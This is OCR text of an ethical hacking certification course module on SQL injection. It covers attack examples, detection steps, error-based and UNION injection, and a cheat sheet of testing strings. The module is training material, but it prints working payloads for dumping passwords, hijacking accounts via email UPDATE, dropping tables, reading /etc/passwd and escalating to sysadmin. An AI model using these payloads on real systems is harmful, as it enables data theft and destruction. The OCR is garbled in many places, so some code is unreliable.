  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker that a table named Users exists in the database. A second query could reveal the columns in the Users table. Using this information, the hacker might enter the following into the txtFilter textbox: UNION SELECT 0, UserName, Password, 0 FROM U sers -Entering this query reveals the user names and passwords found in the Users table. p r i v a t e v o id c m d r i lt e r _ c l ic k ( 0b j e c t s e n d e r, S y ste a .E v e n tA rg s e) d g rP ro d u c ts . C u rren tP ag eIn d ex = 0; b in d O a t a O r id () ; ) { p r iv a t e v o id b in d O a ta O rid () ( d g rP ro d u c ts . D ataSource = c r e a te D a ta V ie w (); d g rP ro d u c ts . D a ta B in d ( ) ; ) p r i v a t e D ataV iew c re a te D a ta V ie w () ( s t r in g strC n x = " s e r v e r =lo c a lh o s t ;u id = s a , pwd= datab a se=n o rth w ln d ‫'־‬ ‫־‬ s t r in g strSQL = "SELECT ProductXd, ProductN ane, ■ H " Q u a n tlty P e r U n lt, U n itP r ic e FROM P r o d u c t s ': FIGURE 14.5: BadProductList.aspx Module 14 Page 2011 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Exam ple 2: Attack A nalysis CEH Urt«fW< ItlMui HMkM SELECT Productld, ProductName, QuantityPerUnit, UnitPrice FRO Products W M HERE ProductName LIKE 'blah' UNION Select 0, username, password, 0 from users — Copyright © b y EG-C0uacil. All Rights R eserved. Reproduction is Strictly Prohibited. E x a m p l e 2: A t t a c k A n a l y s i s Any website has a search bar for the users to search for data and if the search bar can't find the vulnerabilities in the data entered, then it can be used by attackers to create vulnerabilities to attack. W hen you enter the value into the search box as: blah UNION Select 0, username, password, 0 from users. SQL Query Executed: SELECT ProductID, ProductName LIKE ProductName, QuantityPerUnit, UnitPrice 'blah' UNION SELECT 0, FROM Products username, password, 0 FROM USERS WHERE -- After executing the SQL query it shows results with the user names and passwords. Module 14 Page 2012 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection O O http://|uggyboyshop com Ju g g y B o y S h o p .c o m Search for Products c ‫נ‬ > Attacker Launching SQL Injection J blah' UNION Select 0, username, password 0 from users — Usernam es and Passwords are displayed FIGURE 14.6: Attack Analysis Module 14 Page 2013 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Example 3: Updating Table E x a m p l e 3: U p d a t i n g T a b l e To create the UPDATE command in the SQL query the syntax is: UPDATE " table_nam e" SET "co lu m n _l" = [new v a lu e ] WHERE {c o n d itio n } For example, say we currently have a table as follows: Table Store Information Store_Nam e Sales Date Sydney $100 Aug-06-2012 Melbourne $200 Aug-07-2012 Queensland $400 AUg-08-2012 Victoria $800 Aug-09-2012 TABLE 14.1: Store Table And we notice that the sales for Sydney on 08/06/2012 are actually $250 instead of $100, and that particular entry needs to be updated. To do so, we use the following SQL query: Module 14 Page 2014 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker UPDATE Store Information SET S a le s = 250 WHERE s to re name = "Sydney" AND Date = "08/06/2012" The resulting table would look like this: Table Store Information Store_Nam e Sales Date Sydney $250 Aug-06-2012 Melbourne $200 Aug-07-2012 Queensland $400 AUg-08-2012 Victoria $800 Aug-09-2012 TABLE 14.2: Store Table After Updating Ju g g y B o y .c o m Forgot Password Attacker Launching SQL Injection blah'; UPDATE jb-customers SET jb-email - 'info8juggyboy.com' WHERE email ='jason5springfield.com; -- E m a il A d d r e s s Your passw ord will be sent to your registered email address Ml SQL Injection Vulnerable W ebsite SQL Query Executed SEI.F.CT j b - e m a 1 l , j b - p a s s w d , j b - 1 o g i n _ i r i , j b - l a s t _ n a m e F R O M m e m b e r s WHERE ‫־‬ jb-email - ,blah'; UPDATE jb-customers SET jb-email - 'info@juggyboy.com' w h e r e email = ’jasonpspringfield.com; — ■; FIGURE 14.7: SQL Injection Attack Module 14 Page 2015 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Example 4: Adding New Records CEH u J f 1 1 g g y B o y . c o m t Fo rg o t P a s s w o rd Attacker Launching SQL Injection b la h ’ ; IN S E R T IN T O jb - c u s t o m e r s Em ail Address p a s s w d ' , 1j b ‫ ־‬l o g i n _ i d ' , ' j b ‫־־‬l a s t _ n a m e ' ) ( ' ja s o n @ s p r in g f ie ld . com ' , ' h e l l o ', Your passw ord will be sent to your registered em ail address ( ' jb ‫ ־‬e m a il‫ ' , י‬jb ‫־‬ VA LU ES ' j a s o n ' , ' ja s o n YL s p r in g f ie ld ') ; — SQL Injection Vulnerable Website S Q L Q u e ry E x e c u t e d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members WHERE email = 'blah1; INSERT INTO jb-customers (‫י‬j b - e m a i l j b - p a s s w d 1 j b - l o g i n _ i d ‫י‬jblast name') VALUES ('j a s o n @ s p r i n g f i e l d .c o m ‫י‬h e l l o j a s o n ', 'jason S p r i n g f i e l d 1); — ‫;י‬ Copyright © b y EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited. E x a m p l e 4: A d d i n g N e w R e c o r d s The following example illustrates the process of adding new records to the table: INSERT INTO ta b le name (colum nl, column2, column3. . . ) VALUES ( v a l u e l , v a lu e 2 , v a lu e 3 . . . ) Sto re_N am e Sales Date Sydney $250 Aug-06-2012 M elbourne $200 Aug-07-2012 Queensland $400 AUg-08-2012 Victoria $800 Aug-09-2012 TABLE 14.3: Store Table INSERT INTO table_nam e VALUES ("A d e la id e ", Module 14 Page 2016 (" s t o r e name", " s a l e s " , "d a t e ") "$1000","08/10/2012") Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker S to re N am e Sales D ate Sydney $250 Aug-06-2012 Melbourne $200 Aug-07-2012 Queensland $400 AUg-08-2012 Victoria $800 Aug-09-2012 Adelaide $1000 Aug-10-2012 TABLE 14.4: Store Table After Adding New Table http://1UHRVboy.com H ■ 1g g y R 0 y.com !' Fo rg o t P a s s w o r d Email Address Attacker Launching SQL Injection Your passw ord w ill be sent to your registered email address 3 b l a h ' ; INSERT INTO jb - c u s to m e r s ( ' j b - e n a i l ' , ‫ י‬b p a s s w d , ‫ י‬j b ‫ ־‬l o g i n _ i d ' , 1j b ‫ ־‬Ia s t_ n a !B © ' ) VA 1XJES ‫י‬a s o n s p r i n g f l e l d . c o r e 1 , , h o l l o ' , ‫ י‬ja s o n ‫^ י , י‬a so n s p r in g fie ld ’ ) ; — (3 1 0 SQL Injection Vulnerable Website V SQL Query Executed SELEC T W H ERE jb - e m a ilf e m a il la s t n a m e ') = jb - p a s s w d , 'b l a h '; VA LU ES jb - lo g in _ id , IN S E R T IN T O jb - la s t_ n a m e jb - c u s t o m e r s FRO M m e m b e rs ( ' j b - e m a i l j b - p a s s w d j b - l o g i n i d j b - ( ' ja s o n @ s p r in g f 1 e ld .c o m ' , * h e l l o ’ ja s o n ' , ja s o n s p n n g f i e l d ') ; — *; FIGURE 14.8: SQL Injection Attack Module 14 Page 2017 Ethical Hacking and Countermeasures Copyright © by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Example 5: Identifying the Table Name C EH BBQ J 1 1 g g y B o y . c o m Forgot Password ■ Em ail Address Your passw ord will be sent to your registered em ail address blah’ AND 1=(SELECT COUNT(*) FROM mytable); -SQL Injection Vulnerable Website You will need to guess table names here S Q L Q u e ry E x e c u t e d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FR M table W ERE ;jb-email = O H ,blah' A D 1=(SELECT COUNT(*) FR M mytable); —■ N O ; Copyright © b y f ij EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. E x a m p l e 5: I d e n t i f y i n g t h e T a b l e N a m e e so | Ju g g y B o y .c o m Fo rg o t P a s s w o rd Attacker Launching SQL Injection I Email Address blah' A D 1=(SELECT COUNT(*) FR M N O mytable); — Your password will be sent to your registered email address A You w ill n eed to guess tab le n a m es h ere SQL Injection Vulnerable Website S Q L Q u e ry E x e c u te d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM table WHERE jb-email = 'blah' AND !‫( ־‬SELECT COUNT(*) FROM m y t a b l e ) ; — FIGURE 14.9: Identifying the Table Name Module 14 Page 2018 Ethical Hacking and Countermeasures Copyright © by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Exam ple 6: D eleting a Table J 1 1 g g y B o y . c o m Fo rg o t P a s s w o rd Attacker Launching SQL Injection Em ail Address Your passw ord will be sent to your registered em ail address blah'; DROP TABLE Creditcard; -- J SQL Injection Vulnerable Website S Q L Q u e ry E x e c u t e d SELECT jb-email, jb-passwd, jb-login_id, jk‫־‬last_name FROM members WHERE jb-email = ,blah'; DROP TABLE Creditcard; — '; Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. * E x a m p l e 6: D e l e t i n g a T a b l e Attacker Launching SQL I j c i n neto blah'; DROP TABLE Creditcard; — SQL I j c i n Vulnerable Website neto S Q L Q u e ry E x e c u te d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FRO m bers M em W HERE jb-email = ,blah'; DRO TABLE Creditcard; — ‫; י‬ P FIGURE 14.10: Deleting Table Module 14 Page 2019 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M o d u le F lo w C EH (•rtifwtf ttkujl IUU1 Copyright © by EG-GtODCil. All Rights R eserved. Reproduction is Strictly Prohibited. 0 - 0 ‫־‬ M o d u le F lo w So far, we have discussed various concepts of SQL injection. Now we will discuss how to test for SQL injection. SQL injection attacks are attacks on web applications that rely on the databases as their background to handle and produce data. Here attackers modify the web application and try to inject their own SQL commands into those issued by the d a tab a se .! SQL Injection Concepts ^* Advanced SQL Injection Testing for SQL Injection SQL Injection Tools Types of SQL Injection ^ Blind SQL Injection ^ v‫— ׳‬ ) Evasion Techniques Countermeasures SQL Injection Methodology Module 14 Page 2020 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This section focuses on SQL injection attack characteristics and their detection. Module 14 Page 2021 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker S T E P 1: Check if the web S T E P 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection application connects to a Database Server in order to access some data S T E P 2: List all input fields, S T E P 5: The UNION hidden fields, and post operator is used to requests whose values could be used in crafting a combine the result-set of tw o or more SELECT SQL query statements S T E P 4: Try to insert a string S T E P 3: Attempt to inject value where a number is codes into the input fields to expected in the input field generate an error Copyright © by EC-CMICil. All Rights Jte$'ervfei;Reproduction is Strictly Prohibited. ^ SQL Injection Detection The following are the various steps to be followed to identify SQL injections. Step 1: Check if the web application connects to a Database Server in order to access some data. Step 2: List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query. Step 3: Attempt to inject codes into the input fields to generate an error. Step 4: Try to insert a string value where a number is expected in the input field. Step 5: The UNION operator is used in SQL injections to join a query to the original query. Step 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection. Module 14 Page 2022 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL In jectio n Error M e s s a g e s Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments (‫ ,)־־‬AND, and OR [51 CEH Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‫.יי‬ /shopping/buy. aspx, line 52 4C4 1■ U Attacker Try to insert a string v a lu e w h e r e a n u m b e r is expected in th e in p u t field Microsoft OLE DB Provider for ODBC Drivers error '80040607' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int. /visa/credit.aspx, line 17 N ote: If applications do n ot provide detailed e rro r messages and re tu rn a sim ple '500 Server E rror1or a custom e rro r page th e n a tte m p t b lin d in je ctio n techniques Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL Injection Error Messages The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. There are even chances of automated exploits based on the different error messages generated by the database server. These are the examples for the SQL injection attacks based on error messages: Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments (-), AND, and OR. Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L b e fo re the c h a r a c te r s t r in g ' ' . S e rv e r]U n c lo s e d q u o ta tio n mark /shopping/buy. aspx , l i n e 52 Try to insert a string value where a number is expected in the input field: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e r v e r ] Syntax e r r o r c o n v e rtin g the v a rc h a r v a lu e ' t e s t ' to a column o f d ata type i n t . / v i s a / c r e d i t . aspx, l i n e 17 Note: If applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page, then attempt blind injection techniques. Module 14 Page 2023 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Attack Characters CEH Urtiftetf ' or ‫ י‬Character string indicators ‫י‬ — ?Paraml=foo&Param2=bar /*.‫/*״‬ + Addition, concatenate (or space in url) 11 (Double pipe) concatenate % Wildcard attribute indicator Useful as nontransactional command © variable Multiple-line comment URL Parameters PRINT or # Single-line comment Local variable (*®variable Global variable w a itfo r d elay •0 :0 :1 0 ‫׳‬ ttkujl lUckM Time delay Displays SQL server version V ©Aversion Copyright © by EG-GtOIICil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL Injection Attack Characters The following is a list of characters used by the attacker for SQL injection attacks: Character Function , o r" Character string indicators - or # - Single-line comment J* *j Multiple-line comment + Addition, concatenate (or space in url) II (Double pipe) concatenate % Wildcard attribute indicator ?Paraml=f00&Param2=bar URL Parameters PRINT Useful as non-transactional command (®variable Local variable (®(®variable Global variable waitfor delay '0:0:10' Time delay (®(®version Displays SQL server version Module 14 Page 2024 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Additional M ethods to D etect SQL Injection Ex am p le of Functio n Testing F u n c tio n T e s tin g M ethod 1 ► CEH This testing falls within the scope of black s » M e th o d 3 inputting massive amount of random data and observing the changes in the output http:://juggyboy/?param eter=l AND 1=1http:://juggyboy/?param eter=l'- a http:://juggyboy/?param eter=l AND 1=2-- 0 http:://juggyboy/?param eter=l'/* 0 http:://juggyboy/?param eter=l' AND T = ' l » V http:://juggyboy/?param eter=l" & It is an adaptive SQL injection testing technique used to discover coding errors by http:://juggyboy/?param eter=l'# » F u z z in g T e s tin g M e th o d 2 http:://juggyboy/?param eter=l' a V or logic http:://juggyboy/?parameter=123 s box testing, and as such, should require no knowledge of the inner design of the code http:://juggyboy/?param eter=l order by 1000 S ta tic / D y n a m ic T e s tin g Analysis of the web application source co11e # 3 1 Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Additional Methods to Detect SQL Injection SQL injection can be detected with the help of the following additional methods: (& F u n ctio n T estin g This testing falls within the scope of black box testing, and as such, should require no knowledge of the inner design of the code or logic. F u zzin g T estin g & Fuzzy testing is a SQL injection testing technique used to discover coding errors by inputting a massive amount of data to crash the web application. S tatic /D y n am ic T estin g Static/dynamic testing is the manual analysis of the web application source code. Example of Function Testing: 9 http://juggyboy/?parameter=123 a http://juggyboy/?parameter=r Module 14 Page 2025 Ethical Hacking and Countermeasures Copyright © by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker © http://juggyboy/?parameter=r# © http://juggyboy/?parameter=r‫׳‬ © http://juggyboy/?parameter=l AND 1=1— © http://juggyboy/?parameter=r‫־‬ © http://juggyboy/?parameter=l AND 1=2-- © http://juggyboy/?parameter=l'/* © http://juggyboy/?parameter=l' AND T = 'l © http://juggyboy/?parameter=l order by 1000 Module 14 Page 2026 Ethical Hacking and Countermeasures Copyright © by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Black Box Pen Testing Detecting SQL Injection Issues J J Send single quotes as the input data to catch instances where the user input is not sanitized Send double quotes as the input data to catch instances where the user input is not sanitized CEH Detecting Input Sanitization Use right square bracket (the ] <W> character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization lL J-. Detecting SQL Modification Detecting Truncation Issues Send long strings of single quote characters (or right square brackets or double quotes) Send long strings of junk data, just as you would send strings to detect buffer These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement overruns; this action might throw SQL errors on the page Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. SQL Injection Black Box Pen Testing In black box testing, the pen tester doesn't need to possess any knowledge about the network or the system to be tested. The first job of the tester is to find out the location and system infrastructure. The tester tries to identify the vulnerabilities of web applications from the attacker's perspective. Use special characters, white space, SQL keywords, oversized requests, etc. to determine the various conditions of the web application. The following are the various issues related to SQL injection black box penetration testing: Detecting SQL Injection Issues Send single quotes as the input data to catch instances where the user input is not sanitized. Send double quotes as the input data to catch instances where the user is not sanitized. Detecting Input Sanitization Use the right square bracket (the ] character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization. Detecting SQL Modification Send long strings of single quote characters (or right square brackets or double quotes). These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement. Module 14 Page 2027 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Detecting Truncation Issues Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page. Module 14 Page 2028 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Testing for SQL Injection | Testing String 1 Variations Single code 1‫ ׳‬or T = ' l value' or 'l'= 2 ‫״‬ 1' and T = '2 1 1 1 Testing String Variations I '; drop table Testing String CEH UrtifM IthKJl lUckM Variations admin'-- adm in1 )- ad m in '# admin')# users- l ‫)־‬o r (‫,־־!־‬l valu e') o r ('l'= '2 1+1 3-1 1') and ( T « 2 ‫״‬ 1' or 'a b '= 'a V b 1') o r ('ab'=’a V b 1' or 'ab'='a' 'b 1') or('a b '= ’a " b 1' or 'ab'='a'| |'b 1- 1 1') or (’ab'='a'| |'b 1 or 1=1- Variations ';(SQL Statement];-- ‫ י‬o r '1'='1'— ');[SQL Statement];# ;(SQL Statement];- );[SQL Statement];- ;(SQL Statement];# );[SQL Statement];# ’) or T « ' l ' - value) or (1=2 ');{SQL Statement];- ,;[SQL Statement];!) 1) o r 1=1- 1) o r (1=1 1 or 1=1 valu e or 1=2 Testing String 1( ‫־ ־‬ j valu e + 0 1 and 1=2 1 or 'ab'= 'a V b ' 1) and (1=2 1) or ('ab '= 'a V b ' 1 or 'a b '= 'a "b ' 1) or ('ab'■'•‘ T > l)o r fab'-'a'I !*b' 1 o r ' a b '^ a 'I |'b' Testing String Variations -1 and 1=2- -1) and 1=2- ’ and '1’='2‫—י‬ ') a n d 'IV ? - !/ *co m m e n t*/ Copyright © by EG-CtUIICil. All Rights Reserved. Reproduction is Strictly Prohibited. Testing for SQL Injection Some of the testing strings with variations used in the database handling commonly bypass the authentication mechanism. You can use this cheat sheet to test for SQL injection: F IG U R E 14.11: Testing for SQ L Injection Module 14 Page 2029 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Testing String Exam 312-50 Certified Ethical Hacker Testing String Testing String Testing String 116 or 1=1- %22+or+isnull%281%2F0%29+%2F* 7**/OR/**/l/**/= /**/l 11‫־‬ 6 " or"a"="a ' group by userid having 1=1- ' or 1 in (select (®(®version)- (116) Admin' OR ' EXECUTE IMMEDIATE ,SEL' 1 'ECT 1 US‫ ־‬ER 1 ' 1 ' OR 1=1- ' having 1=1- CRATE USER name IDENTIFIED BY 'passl23' OR 1=1 ' OR 'text' =N'text' ' OR 'l'= 'l ' OR 2 > 1 ; OR T = T ' OR 'text' >'t' %27+— + ' union select l,load_f1le('/etc/passwd'),l,l,l; exec master..xp_cmdshell 'ping 10.10.1.2'- ' union all select @@version‫״‬ ' OR 'unusual' = ,unusual' ' OR 'something' = ,someVthing' ' OR 'something' like 'some%' '; EXEC ('SEL' +'ECT US' +'ER') +or+isnull%281%2F 0%29+%2F* %27+OR+%277659 %27%3D%277659 %22+or+isnull%281 %2F0%29+%2F* ' and 1 in (select var from temp)'; drop table temp exec sp addsrvrolemember 'name', 'sysadmin' ' union select Testing String UNI/**/ON SEL/**/ECT ' OR 'whatever' in ('whatever') ' OR 2 BETWEEN 1 and 3 ' or username like char(37); " or 1=1- Password:*/=l- GRANT CONNECT TO name; GRANT RESOURCE TO name; 'o r 1=1/* ' or 1/* ' union select * from users where login =char(114,lll,lll,116); exec sp_addlogin 'name', 'password' @var select < va S> r as var into temp end - Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Testing for SQL Injection (Cont’d) Additional testing strings used to test for SQL injection include: Testing String Testing String 116 Testing String l/ • •/ ■ / * * / O R/* * / l / * * / ' UNI/* */ON SEL/‫/ ״‬ECr ' group by userid having 1 * 1 - " or ‫"־־ ״‬a V o r 1 in (select ' EXEC (•SEl' ♦• T EC US-♦ ER) version ^ @ (116) * Admin' OR ‫־‬OR 1 1 ‫-־‬ Testing String %22+or+fsnuM%281%2F0%29+%2F* or 1-1- ‫־‬ll6‫־‬ Testing String having 1 = 1 1 ‫ ;־‬EXECUTE IMMEDIATE SEL‫־ 11 ־‬ECT US* 11 ER* CRATE USER nam e IDENTIFIED BY ‫־‬p assl2 3 ‫־‬ OR 1 1 ‫־‬ , OR ,t e x t ‫ «־‬N.text‫־‬ 'OR ' 1 1 ‫י י‬ ‫־‬ ' OR 2 < 1 (‫״‬ ' union all select vcrsion > § > § ‫״‬ * = 'OR ,unusual 'unusual, ♦or+isnull%281%2F 0 % 2 9 .% 2 F * %27+OR+%277659 %27%3D%277659 %22+or+isnull%281 ' union select l,load_fiIe{/etc/pdSS W d,) , l , l , l ; exec m astei ‫ ״‬xp_andshell ,ping 10.10.1.2‫־‬ - = 'OR ,som ething ' 'OR ,som ething ' '%like 'some ;OR T - T OR ,text 1 <,* ‫ ׳‬t K27+-f union select ' " or 1=1- Password:*/‫ -־־‬l GRANT CONNECT TO nam e; GRANT RESOURCE TO name; * OR 2 BETWEEN 1 and 3 ' or 1-1 /* or ' 1/* ‫ ־‬union select * fro m users w h e re login - char( 114,111,111,116); ’ or username like char ) 37 (; exec sp_9<klsryrolemem ber ‫־‬n a m e ', sysadmin' %2 FO S2 9 + V 2 F* 'so jm e 't'th in g , ' and 1 in (select y^r fro m t e m p ) ‘ ; drop tah le te m p OR ,w h a te ve r' in ' w h a te v e r1( , ( exec sp ..addlogin ,n a m e ', 'password' <®var select ff» « r as var in to te m p end — F IG U R E 14.12: A dditional Testing Strings Module 14 Page 2030 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M odule Flow CEH (•rtifwtf ttkujl IU U 1 Copyright © by EG-GtODCil. All Rights Reserved. Reproduction is Strictly Prohibited. M odule Flow So far, we have discussed various SQL injection concepts and how to test web applications for SQL injection. Now we will discuss various types of SQL injection. SQL injection attacks are performed in many different ways by poisoning the SQL query, which is used to access the database. ( SQL Injection Concepts ^ Testing for SQL Injection (C, * Advanced SQL Injection SQL Injection Tools Types of SQL Injection ^ ) Evasion Techniques Blind SQL Injection ^ Countermeasures y — SQL Injection Methodology Module 14 Page 2031 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This section gives insight into the different ways to handle SQL injection attacks. Some simple SQL injection attacks, including blind SQL injection attacks, are explained with the help of examples. Module 14 Page 2032 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Types of SQL Injection 9 CEH U N IO N S Q L In je c tio n Types of SQL Injection The following are the various types of SQL injection: SQL In je c tio n ^ SQL injection is an attack in which malicious code is injected through a SQL query which can read the sensitive data and even can modify (insert/update/delete) the data. SQL injection is mainly classified into two types: Blind SQL Injection W here ever there is web application vulnerability, blind SQL injection can be used either to access the sensitive data or to destroy the data. The attacker can steal the data by asking a series of true or false questions through SQL statements. Simple SQL Injection A simple SQL injection script builds a SQL query by concatenating hard-coded strings together with a string entered by the user. Simple SQL injection is again divided into two types: 9 UNION SQL Injection: UNION SQL injection is used when the user uses the UNION command. The attacker checks for the vulnerability by adding a tick to the end of a ".php? id=" file. Module 14 Page 2033 Ethical Hacking and Countermeasures Copyright © by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection 9 Exam 312-50 Certified Ethical Hacker Error Based SQL Injection: The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. Module 14 Page 2034 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Simple SQL Injection Attack CEH System Stored Procedure Attackers exploit databases' stored procedures to perpetrate their attacks Union Query "UNION SELECT" statement returns ;tatement the union of the intended dataset with the target dataset ■ 1e target dataset End of Line Comment # ^ After injecting code into a particular field, legitimate W & ) I V ^ code that follows is nullified through usage of end of line comments SELECT Name, Phone, Address FROM Users WHERE Id=l UNION ERE ALL SELECT ker ,1,1 creditCardNumber,1,1 FROM CreditCardTable Tautology / f L 1 JU J g j SELECT * FROM u s e r WHERE name 'x' AND userid IS NULL; — Injecting statements that are always true so that queries always return results upon evaluation of a Kc o ... W HERE condition data types, names of tables, etc. SELECT * FROM users WHERE name = '' OR '1' ='1'; Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Simple SQL Injection Attacks A simple SQL injection script builds an SQL query by concatenating hard-coded strings together with a string entered by the user. The following are the various elements associated with simple SQL injection attacks: 9 System Stored Procedure: Attackers exploit databases' stored procedures to perpetrate their attacks. a End of Line Comment: After injecting code into a particular field, legitimate code that follows is nullified through the use of end of line comments. SELECT * FROM u se r WHERE name = 'x ' AND u s e r id I S NULL; — © Illegal/Logically Incorrect Query: An attacker may gain knowledge by injecting illegal/logically incorrect requests such as injectable parameters, data types, names of tables, etc. Q Tautology: Injecting statements that are always true so that queries always return results upon evaluation of a W H ERE condition. SELECT * FROM u se rs WHERE name = Module 14 Page 2035 or ‫ י‬l ‫ ׳= ׳‬l Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Union Query: ‫״‬UNION SELECT" statement returns the union of the intended dataset with the target dataset SELECT Name, Phone, Address FROM Users W HERE ld=l UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable. Module 14 Page 2036 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
